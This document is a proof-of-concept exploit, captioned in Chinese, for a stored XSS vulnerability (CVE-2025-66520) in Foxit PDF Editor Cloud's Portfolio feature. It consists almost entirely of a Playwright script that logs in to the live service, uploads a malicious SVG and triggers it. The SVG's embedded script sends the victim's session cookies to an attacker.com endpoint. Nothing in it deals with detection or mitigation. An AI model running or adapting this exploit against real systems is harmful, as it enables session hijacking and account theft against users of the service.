CVE-2025-66520 Foxit PDF Editor Cloud Portfolio存储型XSS漏洞

import { chromium } from 'playwright'; // Malicious SVG payload for CVE-2025-66520 const maliciousSvg = `<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal session cookies and send to attacker server fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)) .then(response => response.text()) .then(data => console.log('Exfiltrated:', data)) .catch(err => console.error('Error:', err)); </script> <rect width="200" height="200" fill="red" /> <text x="50%" y="50%" text-anchor="middle" fill="white">XSS Payload</text> </svg>`; async function exploitCVE202566520() { const browser = await chromium.launch({ headless: false }); const context = await browser.newContext(); const page = await context.newPage(); try { // Step 1: Login to Foxit PDF Editor Cloud console.log('[+] Navigating to Foxit PDF Editor Cloud...'); await page.goto('https://pdfonline.foxit.com'); await page.waitForLoadState('networkidle'); // Step 2: Authenticate with valid credentials console.log('[+] Logging in...'); await page.fill('#username', '[email protected]'); await page.fill('#password', 'password123'); await page.click('#login-button'); await page.waitForLoadState('networkidle'); // Step 3: Navigate to Portfolio feature console.log('[+] Navigating to Portfolio feature...'); await page.click('a[href="/portfolio"]'); await page.waitForLoadState('networkidle'); // Step 4: Upload malicious SVG file console.log('[+] Uploading malicious SVG file...'); const fileInput = await page.locator('input[type="file"]'); await fileInput.setInputFiles({ name: 'malicious.svg', mimeType: 'image/svg+xml', buffer: Buffer.from(maliciousSvg) }); await page.waitForTimeout(2000); // Step 5: Trigger XSS by viewing Portfolio file list console.log('[+] Triggering XSS payload...'); await page.reload(); await page.waitForLoadState('networkidle'); await page.click('button:has-text("View Portfolio")'); await page.waitForTimeout(3000); console.log('[+] XSS payload executed successfully!'); console.log('[+] Session cookies have been exfiltrated.'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } finally { await browser.close(); } } exploitCVE202566520();